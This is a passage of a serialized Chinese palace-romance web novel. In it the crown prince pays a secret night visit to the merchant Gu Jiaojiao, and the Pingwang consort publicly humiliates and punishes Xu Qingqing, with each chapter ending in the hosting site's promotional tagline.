双瑞一边喊着,也一边向那扇门靠近。 莺儿不停的追着他,终于在他的手快触及到房门之时,挡在了他身前,莺儿张开双臂,死死的盯着他。 “双瑞,这是姑娘闺房,你要硬闯,礼数何在?你家殿下就是这么教你做事的?” 涉及到顾皎皎的事,莺儿从未退缩过。 “我并无无礼之意,只是我要向殿下回话,也必要顾姑娘说清楚才行。” 双瑞很是执着,也同样是为了沈云祉。 “你……” “莺儿,让他进来。” 顾皎皎的声音从里面传出。 莺儿狠狠的瞪了双瑞一眼后,才打开了房门。 顾皎皎倚靠在床榻之上,虽已休养了两日,但她的脸色依旧不好,唇间也少了些血色,整个人看上去都瘦了一圈。 “顾姑娘见谅,属下唐突,但为了殿下,属下失礼了。” 双瑞抱拳行礼,倒是难得见他如此行事谨慎。 顾皎皎扬了扬嘴角,似是并不放在心上。 “因为救我一事,殿下已然被人诟病,但说到底,太子就是太子,日后也不会有人说什么,但我不同,一介女子在京中讨生活,不可与太子来往过密,以免招惹闲话。” 顾皎皎直接说明自己的理由,话虽不好听,但也真诚。 “殿下是至情至性之人,既然决定做了,便是问心无愧,他……” “双瑞,我不能拿我的前程来赌他的问心无愧,我终究是要活下去的,太子殿下霁月清风,高高在上,自是不会有人将他怎样,而我不同,在这京城之中,那些权贵若想置我于死地,如同碾死一只蚂蚁一样简单。” 顾皎皎神色清冷,说出来的话却掷地有声。 双瑞听懂了。 顾皎皎不想再与沈云祉有牵扯,是因为她要自保。 “姑娘说这话,当真是出自真心吗?殿下为救你,如今在外被人嘲笑,在朝堂之上被百官为难,殿下不曾退缩一步,而姑娘却是因为保住自己,便将殿下弃了?” “何为弃?我与殿下有何关系?” 顾皎皎毫不犹豫的说道,清澈的眼睛也迎着双瑞的目光。 双瑞一时无言,张了张嘴,半天都没能说出一个字。 他们能是什么关系呢?这普天之下的人都知道,他们身份悬殊,是最不该有关系的两个人。 “你既是奉命而来,便可将我的话如数转达给太子殿下。” 双瑞还是被请出了顾府,他带的那些东西,怎么带进来的,又怎么带了回去。 短短几日而已,好似什么都变了。 双瑞还记得沈云祉救出顾皎皎时,一直将她拥在怀中,即使是到了东宫,他也半步不离,那紧张与心疼,是明眼人都可以看得到的。 顾皎皎那般聪明,她怎么会看不明白? 双瑞到底只是一个下属,返回东宫后,他便将顾皎皎所说的话,一五一十的说给了沈云祉。 沈云祉坐在交椅之上,扶着椅子的手在不断的收紧,神色由之前的慵懒,变得越来越冰冷。 “她还说了什么?” 他问着这时,声音都冷的有些骇人。 “顾姑娘说,本就是与殿下无甚关系,来往过密,只会给彼此带来麻烦。” 一句话,双瑞也是说的吞吞吐吐。 他终究还是了解他家太子的,只顾皎皎这样的态度,便足以让他动怒。 只是,另双瑞意外的是,沈云祉没有再说什么,只是摆了摆手,示意他下去。 双瑞迟疑着,还是缓缓退了出去。 书房的门关上,从那刻起,直到深夜,沈云祉并未出来。 双瑞和双剑终是放心不下,还是早死走进了书房,但令他们意外的是,这间书房里竟空无一人。 而此时,顾皎皎已然睡下,迷迷糊糊间发现床边多了一个人影,正当她欲惊呼出声时,那人竟捂住了她的嘴巴。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十八章 一番心意 夜已深,屋子里漆黑一片,身边的人掌心冰凉,身上带着淡淡的桂馥之香。 顾皎皎冷静下来,旁边的蜡烛也在此时被点燃。 看清来人,顾皎皎还是忍不住往后缩了缩,扯起被子护在身前。 “太子殿下为何在此?” 她自是意外的,也无法从他的身上移开目光。 今夜的沈云祉与往常大不一样,黑色的锦袍披风,长衫也是以暗黑色为由,刺绣为暗花,奢华高雅,他难得的将长发束起,使他看上去不像是当朝太子,而像是什么行侠仗义的侠客。 他漆黑的眸子里似是隐忍着什么,少一丝笑意,多了一丝凝重。 “有些人处处躲避,处处惹本太子不悦,本太子自是要登门的。” 他盯着她,也依旧可以看到她身体上的那些伤痕。 顾皎皎感觉自己的心都快要跳出来了,她还半躺在床榻之上,而这人就坐在他的床边,这样的画面,太过暧昧。 “殿下所言何意?民女不懂。” 顾皎皎目光躲们,心里却骂着沈云祉怕是有病。 深更半夜的,他闯入女子闺房,竟然只是为了她白日里说的话? “不懂?那本太子教教你。” 沈云祉突然伸手抓住了顾皎皎的手腕,整个人俯身下来。 顾皎皎瞪大眼睛,眼睁睁的看着沈云祉的脸离自己越来越近,终在他的唇凑近之时,她反应过来。 顾皎皎用尽全身的力气推开了他,忍着身上的疼痛坐起身。 “殿下自重。” 红晕早就袭满了她的脸颊,语气严肃,却始终不敢看向沈云祉。 沈云祉忘记了,顾皎皎是会些拳脚功夫的,怪他大意了,一抹玩味的笑袭上嘴角。 “自重?我夜闯闺房,还用得着自重,现在我问你,你让双瑞传的话是何意思,你是不是就可以想起来了?” 他的眼神里透着马戏谑,似是享受着她此时的焦躁不字,无可奈何。 顾皎皎让自己稳了稳心神,才终于抬眼迎向沈云祉的目光,只是她脸上的红晕并未散去。 “殿下可否去外间等候,容臣女披件衣衫。” 她扯着被角,将自己身前护得紧紧的,胳膊处也只是一件薄纱里衣,雪白的皮肤以及暗红色的伤痕那样明显。 沈云祉挑了挑眉毛,缓缓起身,未说话,却也径直走向外间。 外间的烛火亮起,温暖的灯光,还是让顾皎皎觉得心里暖暖的。 顾皎皎从内室出来的时候,沈云祉已经自顾自的喝起了茶,没有下人的侍奉,他倒是真不客气。 顾皎皎经过几日养伤,现下也只是勉强可以走动,那些鞭子所造成的伤太重太深,她总要多些时间调养。 “外面流言如沸,若是被人看到殿下夜里出现在民女这里,怕是于殿下名声无益。” 顾皎皎缓缓坐下,坐在沈云祉对面,可以看到他那些俊朗的脸,在烛光中更为动人心魄。 “这便是你拒绝本太子送来的东西的原因?” 沈云祉喝着茶,还毫不客气的拿起桌上的点心用着。 不是说沈云祉自接手朝政以来,食欲不佳吗?可那明明一整盘的点心,只剩下半盘了。 “算是吧,民女一介女子,又身份低微,不敢与太子殿下相提并论。” 顾皎皎低垂下眼眸,口是心非,她不能让对面的人看到她的心虚。 “我也记得,你不只一次提过身份之事,但我从未放在心上,也未因身份低看你一眼,你如此执拗,莫不是有其他心思?” 沈云祉的目光炙热,所说的话也显得模棱两可。 他似是一朵毒玫瑰,在她的眼光肆意的绽放着,却从未说过只为她一人绽放,而只要靠近,便可遍体鳞伤。 顾皎皎的双手在袖子里紧紧握在一起,指尖的疼痛传来,也让她冷静了几分。 她终于缓缓抬起头,苍白的唇间袭上一抹淡淡的笑。 “殿下此言何意?民女与殿下只是合作关系,照理商铺产业是民女的职责所在,除此之外,似是也没有与殿下过多接触的必要。” 她的笑容清淡,透着疏离,也让人觉得冰冷。 沈云祉眸子微微收紧,紧抿的薄唇也显示出他的在意。 他知道,她是故意这般说的,那张清冷的脸上,全是他不想看到的神色。 “你如此说话,莫不是真不知本殿下一番心意?” 沈云祉是从牙缝里挤出这句话,微重的语气给对方施压。 顾皎皎心里微颤。 她能知道什么呢? 他从未言明不是吗? 还是,他和当孙协兆的想法一样,只想让她做一个见不得光的外室? 不对,即使是太子殿下的外室,她的身份也是够不上的。 “殿下是何心思,民女怎可知晓?不过,殿下也看到了民女的这身伤,我未曾责怪殿下,但也希望这样的事不再发生。” 顾皎皎停顿了一下,唇角的笑意又浓了几分,才继续说了下去。 “民女贱命一条,本不值钱,但好歹也爹娘给的,殿下就当发发慈心,给民女留条生路吧。” 她本说的是生死之事,可却浅笑嫣然。 她那无所谓的态度,好似是在告诉沈云祉,过往种种不过是因为他们的合作。 沈云祉凝视着她,那目光寒冷,似是要将她整个人看穿一般。 “这就是你的真实想法?” “是啊,能结识殿下自是为了生意上有些便利,却不想招来横祸,民女觉得还是安安分分做个普通人就好。” 顾皎皎答的毫不犹豫。 沈云祉突然起身,还未等顾皎皎反应过来,他便已然立在身前,他修长冰凉的手指捏住她的下巴,微微抬起,让她直视着自己。 “殿下若是想要用强,民女自是不会反抗,毕竟殿下身份尊贵,权利滔天,民女不敢不从。” 她眼中噙着笑,略带讽刺之意,可她也分明感觉到了下巴处的疼痛,不自觉的皱了皱眉。 沈云祉眸子里的怒火渐渐散去,突然抬起另一只手轻抚她的脸庞,细腻,暧昧,让顾皎皎的心跳都顿了顿。 “寺庙之时,我也不曾用强。” “沈云祉。” 顾皎皎惊呼出声,直呼他的名字。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百三十九章 我自己来 沈云祉满意的笑了。 “对嘛,这才是顾皎皎。” 他松开了她,侧身将一只手背在身后,微昂着头,高贵冷傲。 “我明日还会派人来给你送东西,你若不收,那我便夜里来,至于你所说少于接触,我劝你还是再想想。” 沈云祉扯过一旁的披风,利落的披在肩膀之上,他没有给顾皎皎再说话的机会,从窗而来,又顺窗而走。 堂堂太子,竟然夜里如此行事,越墙翻窗,没有一丝稳重。 顾皎皎回过神的时候,房间里已经空无一人。 她忍不住在心底沉下一口气,本是做好了与沈云祉划清界限的准备,可那人却是个无赖,她的计划并未得逞。 沈云祉深夜出宫回宫,这样一来一回,旁人不知,但守城的侍卫却是知晓的,但沈云祉也下令,如果外界有传言,无论是不是这几人所传,都会治他们的罪。 东宫里。 太子殿下失踪,双瑞双剑自是找了许久,王福也为了不被人发现,亲自守在书房门口,无论是奉茶侍女,还是掌灯宫人都被他打发了。 好在,在天亮之前,沈云祉出现了。 他是从书房里走出来的,一身黑衣显得极为刺眼。 “哎哟,我的太子殿下,您到底去哪儿了,可把奴才吓死了。” 王福迎了上去,从外面回来的双瑞双剑也跑了过来。 “朝政繁杂,心烦意乱,本宫只是出去走走。” 沈云祉站在廊下,天都快亮了,他却没有丝毫睡意,抬眼望着东方,看不出他的情绪。 “殿下真是任性,以前是小云南王时说走就走,现在已然是太子了,还这般不分轻重,还有您这身夜行衣……” 双瑞抱怨着,但话未说完,就被双剑偷偷踢了一脚。 他们二人都清楚,沈云祉自然不是去园子里闲逛,那套黑色衣衫上身,也就意味着,他出宫子,且是秘密出宫。 “殿下既觉得烦闷,不如属下去宫外寻些有趣的物件,带回宫中给殿下解闷。” 双剑微微抱拳,说的煞有其事。 双瑞一脸茫然,看看这个,看看那个,不明所以。 烦闷吗? 太子殿下明明忙的都四脚朝天了,还要应付那些大臣的暗算,这还烦闷? “你的主意甚好,明日你便亲自跑一趟吧。” 沈云祉挑了挑眉毛,答应的倒是痛快。 王福是个聪明的,纵使几人没有明说,他心内了然,但也正因为他聪明,也是知道什么是该说,什么是不该说。 “殿下,天快亮了,还是先梳洗更衣,莫要误了早朝的时辰。” 王福在一旁轻声提醒。 沈云祉点了点头,向寝室的方向走去。 顾府。 顾皎皎这一夜也是睡得不安稳。 莺儿走进来时,她已经坐在床榻边,若有所思。 “姑娘昨晚没睡好吗?” 莺儿看着顾皎皎眼底的乌黑,忍不住开口询问。 “还好。” 顾皎皎回过神,淡淡的笑了笑。 莺儿倒是没有疑心,将自己端来的清水放在一旁,扶着顾皎皎去梳洗。 “其实近来姑娘没什么事,倒也不必早起,我昨日已经去各个铺子看过了,都无事发生。” “也不能总躺着,多活动一下也有益于身体康复。” 顾皎皎看着镜中的自己,那原本就有些苍白的脸,再加上眼底的乌青,倒显得有些吓人。 “好在洪甫先生配好了药膏,已经命人送来了,等姑娘的伤口结痂,便可用药膏了,洪甫先生说了,那药膏涂上,保证不会让姑娘留下疤痕。” 这应该是近来,令莺儿最高兴的事了。 顾皎皎倒是不以为然,她也不在乎那些疤痕。 “你去烦扰洪叔叔,想来我又挨骂了吧?” 她浅笑着,拿着一支珠钗在头上比了比,不甚满意,又轻放下换了另一支。 “是啊,洪甫先生说了,如果姑娘不想要这条命,便去找他,他可以拿姑娘炼制药材。” 莺儿偷笑。 顾皎皎转头瞪了她一眼。 “我知道便是,洪叔叔自然是气紧了,都怪你。” 莺儿还说,洪甫先生还欲亲自来看她的,但被莺儿拦下了,只说顾皎皎全身都是伤,不想让洪甫先生难过。 “姑娘应该谢谢莺儿才是,若洪甫先生当真过来,可不只是骂你了,怕是要狠狠打你一顿。” “好,我谢谢你,今日让厨房备些香酥鸭,都给你吃。” “谢姑娘。” 莺儿只听着,便觉得口水都快流下来了。 她将水端出去,但走到外面却又折了回来。 “姑娘昨夜饿了?” 莺儿探着脑袋,不可思议的问着。 “嗯?” 顾皎皎转过头,一时没有明白她的意思。 “外面那盘糕点,少了一大半,都是姑娘吃的?” 糕点。 沈云祉。 “哦,对,夜里饿的紧,便吃了些。” 顾皎皎只能认下这‘罪名’,她总不能说,那沈云祉夜里来过,吃了她的糕点吧? “怪不得姑娘眼底乌青,吃了那般多,自是睡不着的,我让厨房煮些青菜粥,姑娘也适当的活动一下。” 莺儿没有起疑,却是笑着转身离开的。 顾皎皎难掩脸上的尴尬。 她不曾吃过这么多的糕点,也难怪莺儿要笑她。 这个沈云祉,明明已经身处皇宫,还能如此害她,果真是个祸害。 午后,沈云祉竟真的派人来了。 不过这一次,不是双瑞,而是双剑。 双剑此人向来冰冷,话不多,但又对沈云祉忠心耿耿,奉命行事,他向来一丝不苟。 “这些东西,是太子命属下送来的,望顾姑娘收下。” 他这哪是询问,明明就是已经做出了决定,这双剑将东西放下时,就已然是一副任务完成了的模样。 顾皎皎坐在椅子上,瞪着他,半天没说话。 “还有一事,殿下让属下向姑娘询问,有关安阳候府的仇,是殿下报,还是姑娘亲自报?” 此话一出,倒是让顾皎皎心软了几分。 以沈云祉如今的身份,想要处置孙协兆是轻而易举的事,但他并未自作主张,而是来向顾皎皎询问。 他大约也是了解她的。 “我自己来。” 顾皎皎无不坚定的说道。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十章 顺风顺水 顾皎皎从东宫离开后,王吉便已来汇报过,平王之所以对她下手,是孙协兆递了消息。 他们和离许久,本以为井水不犯河水,但身处京城这个漩涡,也终有千丝万缕的联系,既如此,再谈放过,便是懦弱了。 “好,属下会将顾姑娘的话转述给殿下,姑娘若无其他事,属下便告退了。” 双剑从始至终都没有笑一下,知道的,他是来传递消息,不知道的还以为他是来兴师问罪的。 “有劳了。” 顾皎皎微微点头,她身上有伤,只能目送双剑离去。 “这个双剑,每次见面都是阴森森的,不如双瑞,真诚坦荡。” 莺儿一边说着,一边去查看那些东西,她也不曾注意到,顾皎皎一直在看着她。 “不过,这太子殿下也真是大手笔,这人参怕是皇宫里也不多得,还有这些补品,当真价格不菲。” 莺儿自顾自的说着,也拿起一盒药膏。 “这是祛除疤痕的,姑娘你看。” 她抬起头时,正撞上顾皎皎的目光。 莺儿不解,低头看了看自己的身上,并无异样。 “姑娘何以这样看着我?” “没事,就是听你突然提到双瑞双剑,才意识到他们二人的性格确实不同。” 顾皎皎掩藏起眼中的笑意。 “自然了,双瑞可比双剑要好很多,在双剑面前我都不敢说话。” “对了,我这些时日都忘了问你,当日你受伤,双瑞是正巧碰到,才守护你的吗?” “当然不是了,那时姑娘都被殿下救走了,双瑞得知此事,说是知道我是姑娘看重的人,便特意出宫来看护的。” 特意出宫? 这个双瑞倒是找了一个好理由。 他说是因为顾皎皎看重莺儿才来守护,可是那时顾皎皎都危在旦夕,他却丝毫没管。 想着,顾皎皎低垂下眼眸,似是已然猜到了什么,但并未表露出来。 “怎么了?是有什么不妥吗?” 莺儿歪着头询问。 顾皎皎立即摇头。 “没有,我此次出事,除了太子殿下,双瑞和双剑都是出了力的,待我再好些,也该想想好好感谢他们。” 顾皎皎是擅于隐藏心事的,莺儿竟也没有察觉异样。 平王府。 漫天飞的谣言已经闹了一阵,平王府里却异常平静。 在这个时候,越是平静,越会迷惑外面的人,让人以为发生的任何事都与平王府无关。 孙协兆坐在平王对面,浅尝着茶时,也偷瞄着平王,看着平王的脸色。 “你也不必怕,此事不怪你,你做的已经很好了,只是本王低估了沈云祉。” 平王抬了抬眼,轻吹着手中的茶。 孙协兆心里的那块大石头也悄悄放下了。 “王爷莫要动怒,那沈云祉之所以能占上风,不过是倚仗太子的身份罢了,待日后我们好好筹谋,以平王的本事,定会将他踩在脚下。” 孙协兆说的无比肯定,好似他可以决定这一切一般。 这样的话于平王而言,很是受用。 “你说的没错,他沈云祉是多了一分运气,日后,你好好为本王做事,本王定不会亏待于你。” “谢王爷,小婿尽心竭力,也是理所应当的。” 孙协兆满脸的笑意,在平王面前,也过于谄媚。 “此次京都府尹出事,沈云祉已然安排了新府尹,本王已经安排人,不日待召令下来,你便可去京都府上任。” 平王停顿了一下,将手中的茶碗放下,又继续道。 “虽然只是一个文书,但来日方长。” 文书,并不算多大的官,但已算是步入官场的第一步了。 “多谢王爷,谢王爷。” 孙协兆激动的语无伦次,跪在地上不停的说着谢谢。 平王身边可用的人越来越少,他虽看不上孙协兆,但以如今这形势,也只能先培养着。 “初入官场,最重要的就是人脉,趁这些时日,你也可以结交一些京都府的人,为日后晋升铺路。” 平王教他,也是为了自己。 这朝廷里,大大小小的官员看似有些无用,但时间久了,至少能抵过那些百姓与江湖中人。 曾经,孙协兆觉得自己背叛了沈云祉,大错特错,但现下看来,他的选择是最正确的,平王给他的,沈云祉可给不了。 孙协兆回到安阳候府,第一时间将这个好消息告诉徐青青。 平王下令,徐青青自然觉得也与她这郡主的身份有关。 “妾身之前就说过,父王自是看重我的,只要夫君上进些,父王怎会不提拔你呢?” 徐青青依偎在孙协兆怀中,声音轻柔婉转,也透着得意。 孙协兆揽着她肩膀的手微微紧了紧。 “是啊,为夫我的眼光极好,得到青青如此佳人,自然是顺风顺水。” 他停顿了一下,抬手轻抚徐青青的脸庞,继续说道。 “近来我甚为忙碌,怕难有空闲陪你,你若觉得无趣,便可出门逛逛,待我忙完,定会向夫人赔罪。” 孙协兆半开着玩笑,看向徐青青的目光里满是宠溺。 “也好,听闻城中有家铺子新进了许多珍贵首饰,妾身这衣裙也该做些新的了,明日我便出去转转,若见到好的棋,也给夫君带回来。” 郎情妾意,你侬我侬。 到现在为止,孙协兆都觉得舍了那顾皎皎,迎娶徐青青是他此生做过最正确的决定。 自然,孙协兆并不知道,他的一举一动皆被监视着。 顾皎皎听到徐青青出门的消息,并不意外,也连眼皮都不曾抬一下。 “将消息透露给平王妃。” 她低声说着。 莺儿应下,双马上询问。 “姑娘,要不要我们的人跟着,关键时刻可推波助澜。” “不必,我们只需要看戏就好,至于她们会闹成何样,想来京中百姓会探讨的。” 顾皎皎的嘴角闪过一抹不蜴察觉的笑,那笑里带着狡黠。 阳光明媚,在这深冬里极为难得。 空气干燥,已经许久没有下过雪了,但院中的红梅开的正盛,在这萧瑟的冬季里,让人觉得心里是暖的。 顾皎皎站在门边,倾城的脸上满是笑容。 只是可惜,她受着伤,不能亲自去看看。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十一章 见好就收 平王妃对徐青青的记恨由来已久,若不是碍于平王的面子,她早就动手杀人了。 刚刚得到消息,近来深居简出的徐青青前往了一家首饰铺子,平王妃自然要前往看一看。 “这副头面我要了,只是我觉得这上面应该镶一颗珍珠,才不失华贵。” 徐青青在铺子里转着,目光落到那颗又圆又大泛着白光的珍珠上。 “就这颗吧,不拘什么价格。” “哎呀,夫人,实在是太不巧了,这颗珍珠已经有人定下了,夫人再看看其他的。” 那掌柜的也是会来事的,拿出一盒珍珠供徐青青挑选,只可惜无论是比那颗大的,还是比那颗亮的,都不及那一颗完美无瑕。 “我只要这颗,我按照那人定的双倍价格给你,你日后再为他寻颗就是了。” 徐青青高昂着头,端出了安阳候府主母的架子,一副她只要最好的样子。 “夫人,这并非是银钱的事,定下这颗珠子的,乃是平王妃,小店实在得罪不起,夫人您看……” “平王妃又如何?你做的是生意,目的就是为赚钱,若是珠子没了,找个理由搪塞过去就是了,再说,平王妃已然年老,这珠子放在她身上,必是明珠暗投。” 徐青青话音落下之时,门外一道声音立即响起。 “孙三夫人好大的口气。” 平王妃踏进门槛,不怒自威。 徐青青到底是小门小户出身,与平王妃只站在一处,便落了下风,少了风度,更少了那份高贵与傲气。 她微低着头,不自觉的后退两步,脑海中想着要怎么将自己刚刚的话圆了。 “本王妃竟不知,孙三夫人在外如此张狂,当众羞辱王妃,你可知这是何罪名?” 平王妃难得的没有生气,倒是让人意外,只是她眼底阴狠的笑那样明显。 徐青青不自觉的将双手握在一起,夹棍之刑,到现在还让她心有余悸。 “王妃误会了,我的意思是说,珍珠太过简单,不配王妃的身份,不如东珠,更显高贵。” 徐青青自己都没有意识到,她的声音都有些发抖。 平王妃大笑,笑里满是嘲讽。 “这便认输了吗?果真跟你那个贱人娘亲一样,蛇鼠两端的墙头草,靠着这张脸,也只是会犯贱的迷惑男子。” 周围的人不少,见到王妃自是走也不是,留下也不是,倒是让他们看了一场热闹。 徐青青自是觉得面子上过不去的,何况提及到了她母亲,她心有不甘。 “平王妃恨我,我也是知道的,但我到底是父王唯一的女儿,至于我母亲也是与父王两情相悦,并非……” 啪! 徐青青的话还未说完,就被甩了一耳光。 打她的并非是平王妃,而是王妃身边的侍女,冬儿。 “贱蹄子,王妃说话,你竟敢反驳?当年你母亲借王爷酒醉爬床,才有了你这个贱种,你现在还敢在这里自说自话?不要脸的玩意。” 一个侍女而已,却敢当众对徐青青如此辱骂,可见徐青青在王府里的地位。 没什么地位。 徐青青眼圈泛红,轻咬着下唇,没敢说话,只是恶狠狠的瞪着冬儿。 冬儿的身后有平王妃,她自是不怕的。 “孙三夫人如今是安阳候府的人,嫁鸡随鸡,嫁狗随狗,如此不知礼数敢抢王妃的东西,还出言不敬,可见这候府也不是什么好地方。” 冬儿傲慢,所说的每个字都让徐青青再也无法忍耐。 她抬起头,恨恨的瞪着平王妃。 “如果三郎在为父王做事,用不了多久就会入朝为官,就算你是王妃,我将来也是官员家眷,你最见好就收。” 周围的议论声也因为二人的争吵响了起来,尤其是在徐青青受尽屈辱之后,一张好看的脸,泪眼婆娑,倒是让一些人误会了。 “这平王妃也太霸道了些,虽然不是亲生的,到底也是王爷血脉,竟让一个侍女如此羞辱人。” “你没听说吗?那郡主的出生并不光彩,哪个大户人家肯容这等女子,更何况是王府了。” “你们不知道,听闻啊,这平王妃入王府多年,却未产下一子半女,自是对郡主又嫉妒又厌恶了。” …… 那些议论声都极小,但还是可以听到一句半句,而这些议论声,也彻底激怒了平王妃。 “你是王府家眷时,本王妃都不放在眼里,还提什么官员家眷?你未成婚,便已然与人苟且,若不是王爷,你以为你成得了正头夫人?” 既然谈丢脸,那平王妃也让徐青青在京城里,再也抬不起头。 “你胡说,我,我没有……” 徐青青立即否认,毕竟她现在已然是孙三夫人,那些过往只要没有人提,是不会再被翻出来的。 可是,平王妃就这样当众来揭掉她那层遮羞布。 “没有?徐青青,你莫不是忘记了,你与那孙公子苟且之事,可曾是被多人看见的,你与你娘是一路货色,你娘当年让王爷丢脸,生下你,又再次让王爷成为笑柄,你就是这样回报你的父王的?” 平王妃一句接着一句,让徐青青的脸色越来越难看。 周围之前还觉得徐青青可怜的人,也瞬间改变了想法。 “女子该守妇德,说起来,别说妇德,怕是连孝心也没有。” “这样的人还能成为郡主,可见平王妃已然是宽宏大度了。” “哎,我若是有这样的女儿,自她出生之日就将她掐死了。” “你们刚刚没看到吗?她还要抢王妃的东西呢,若不是王妃平日对她太宽容,她怎敢如此?” 因为都站在了王妃这边,议论声也越来越大,没有人再顾及徐青青那可怜兮兮的模样。 “平王妃,你是故意的,你故意让我难堪,对你有什么好处?父王不会放过你的。” 徐青青突然大喊出声,倒也是难得的硬气了一回。 可她不知道的是,平王妃等的就是此刻。 “来人,郡主无礼犯上,公然挑衅,不敬嫡母,拉到门外,掌嘴五十。” 平王妃平静的下达了命令。 徐青青想反抗,已然是不可能了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十二章 小小的惩戒 大街之上,人来人往。 徐青青就这样的被按着跪在地上,平王妃身边的老嬷嬷将一个接一个耳光甩在她的脸上。 痛哭声,辱骂声都让周围的人驻足,因着有人得知事发的经过,便也慢慢散布开来。 “你乃王爷骨肉,本王妃不欲苛责,只是你自幼无人教导,竟学些张狂自傲,不将人放在眼中的行径,今日罚你,也是为了防止你日后为王府,为夫家抹黑。” 平王妃站在门口处,微昂着头,居高临下,看向徐青青的眸子里,满是鄙夷。 只是,这于外人而言,都觉得是平王妃大度,心善,才会教导外室之女。 “你,你这个……毒妇,父……王,不会……啊。” 徐青青想要说些狠话,可那些巴掌还在持续着,许是见她话太多,那嬷嬷便加大了力道,徐青青竟被打翻在地。 可即使是这样,行刑之人也没有停下。 “这世间尊卑有道,长幼尊卑更为鲜明,我为你嫡母,你不只当众抢东西,还辱骂于我,这便是不孝,只是念在你无人教导,这五十巴掌算是给你一个小小的惩戒。” 平王妃的音调不自觉的提高不少,也让周围的人听得清楚。 众人都认为徐青青挨的这顿打,不冤。 五十耳光打完,徐青青的脸上已经渗出血来,口中满是血腥味,而她肿的连眼睛都小了许多,丝毫看不出她本来的面目。 平王妃走过去,弯下腰,拿自己的手帕轻轻擦拭徐青青的嘴角,太过疼痛,徐青青不自觉的向后躲了躲。 平王妃便又低了几分,凑近徐青青的耳朵,用只能她们两人听到的声音开口。 “你看,你那贱人娘生下你又如何?不还是逃不过我的手掌心,你娘亲倒是会下蛋的鸡,但生下的也不过是你这任人欺压的贱人。” 平王妃直起身,眼中的得意的瞬间消散。 “罢了,扶你们家夫人回去吧,日后行事要三思而后行。” 平王妃欲走,又似是想到了什么,转头看向那铺子的老板。 “青青既喜欢那珠子,送她便是,你明日到王府结账。” “是,谢过王妃。” 那老板看向平王妃的目光里都多了几分敬佩之情。 平王妃大摇大摆的离开,将这烂摊子丢给了徐青青。 “哎呀,嫡母如此,该是多大的幸事。” “可是偏偏有人不甘心,到底是出身微贱,不懂得感恩。” “她自是觉得她飞上枝头变凤凰了,但也不自己想想,人家王妃那才是真正的凤凰,她呀,不过是野鸡渡了层羽毛。” …… 周围的嘲讽声不断,他们很多人并不了解详情,可人嘛,习惯相信自己看到的,听到的。 徐青青疼的眼泪直流,青儿上前来扶她,都差点没有扶住。 “你这贱蹄子,你就这样看着他们打我吗?” 徐青青恶狠狠的瞪着青儿,却没有松开她的手。 青儿微低着头,一脸委屈,却也不敢反驳半句。 “等我回去,看我怎么收拾你。” 徐青青能撒的气,便也只有青儿了,而且周围全是看笑话的人,她现在最想的便是离开这里。 “夫人,午后小的便将头面和珍珠送到夫人府上。” 那老板看着徐青青离开,还很贴心的冲着她的大喊,又惹得周围人一片笑声。 徐青青兴高采烈的出门,却被打的像是猪头一样回到了候府。 孙老夫人听说徐青青被打,想着她到底是在支撑着王府,日后孙协兆也要指望着平王,便想去看一下,聊表心意。 只是,这孙老夫人刚出门,就被过来的章氏和刘氏拦了下来。 她们自然也是在街上听说了徐青青被打之事,才匆忙回府,也将她们所听到的说与孙老夫人听。 “什么?竟然是平王妃?” 孙老夫人自是意外,想要出门的脚步也顿时撤了回来。 “是啊,母亲,这平王妃身份尊贵,当众教训徐青青,自然是有理有据的,抛开家事不谈,人家是王妃,罚也是赏,赏也是罚,徐青青只能受着。” “母亲此时过去,能做些什么?是安慰徐青青?那不是打平王妃的脸吗?可若是说徐青青的不是,倒也对我们候府不利。” 刘氏与章氏分析的倒是极为透彻,毕竟,那平王妃的狠辣,她们也是见识过的,她们可惹不起。 “可出了如此大的事,我若是不出面……” “母亲,您近来身子不适,深居简出,什么被打被罚的事,您怎么能知道呢?” 章氏毫不犹豫的开口。 孙老夫人迟疑片刻,顿时喜笑颜开。 “你说的没错,我啊,年岁大了,身子也不争气,三天两病的,也只是想要个清净。” 如此一来,徐青青受此奇耻大辱,无论是府外之人,还是府内之人,竟无一人过问。 徐青青的脸肿的厉害,请了郎中,也敷了冰帕子,可也没见消多少,疼痛难忍之际,她便罚了青儿。 冬日里,外面的石板路是最凉的,青儿就穿着一件薄衫跪在那石板路上。 寒风刺骨,只跪一会儿,她便觉得膝盖处凉入骨髓。 青儿没敢求情,她虽不是自幼跟着徐青青,可到底也了解她的脾性,此时若求,只会招来更重的惩罚。 青儿一直跪着,直到孙协兆从外面回来。 “这是怎么了?” 孙协兆对这个侍女还是很熟悉的,这丫头年纪虽小,却很机灵,又一直服侍徐青青,平日里,徐青青对她也算是好的,不知今日怎会如此。 “是奴婢做错了事,惹夫人生气了。” 青儿连头都没敢抬,因为寒冷,她说话时整个人都在发抖。 孙协兆轻叹了口气。 “青青在气头上,你再忍忍,我这便去劝劝她。” 孙协兆走进屋里,看到徐青青那一刻,都不禁被吓了一跳。 徐青青面目全非,脸上没有一处好地方,全是鲜红的印记,看着都有些骇人。 “青青,这,这是怎么了?” 孙协兆走过去时,徐青青几乎没有任何犹豫的扑到他的怀中,开始一边哭着,一边诉说着她的委屈。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十三章 这是机会 徐青青将今日之事添油加醋的说了出来,又是辱骂,又是被打,可最后提到平王妃时,孙协兆脸色微变。 “青青,平王妃那脾性你也知道,她一向是看不惯我们的,你日后还是避着一些。” 孙协兆眼中的心疼渐渐散去,被一抹无奈所取代。 徐青青并不意外。 许是相处久了,她也知道孙协兆的为人,是惯会欺软怕硬的,但徐青青并不在意,说到底,他们也是一样的人。 可她终究咽不下这口气。 徐青青又做出一副委屈模样,抬手轻挽住孙协兆的手臂。 “我自是知道的,今日也不知怎的就碰上了,夫君,今日在外出丑,怕是也给你丢人了。” 她眼底的那抹自责油然升起,一双满含泪珠的双眸,楚楚可怜。 孙协兆没有说话,只是揽着她肩膀的手紧了紧。 “之前夫君说父王要交给你差事,日后怕也有官中同僚,他们若是得知此事,也免不了嘲笑夫君,夫君还是不要出去应酬了。” 这一句话明显最刺激到了孙协兆。 他在京中周旋多年,这候府却一日不如一日,这个时候,他好不容易得到平王的举荐,可万万在这个时候出事。 “青青莫怕,我明日便去找平王妃,必让她给你致歉。” 